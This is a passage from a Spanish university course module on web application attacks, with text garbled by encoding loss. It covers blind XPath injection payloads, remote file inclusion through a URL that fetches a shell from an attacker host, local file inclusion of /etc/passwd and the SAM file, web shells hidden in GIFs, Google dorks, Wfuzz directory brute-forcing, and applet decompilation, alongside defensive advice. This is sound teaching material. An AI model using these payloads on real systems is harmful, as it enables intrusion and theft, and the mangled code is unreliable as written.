[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

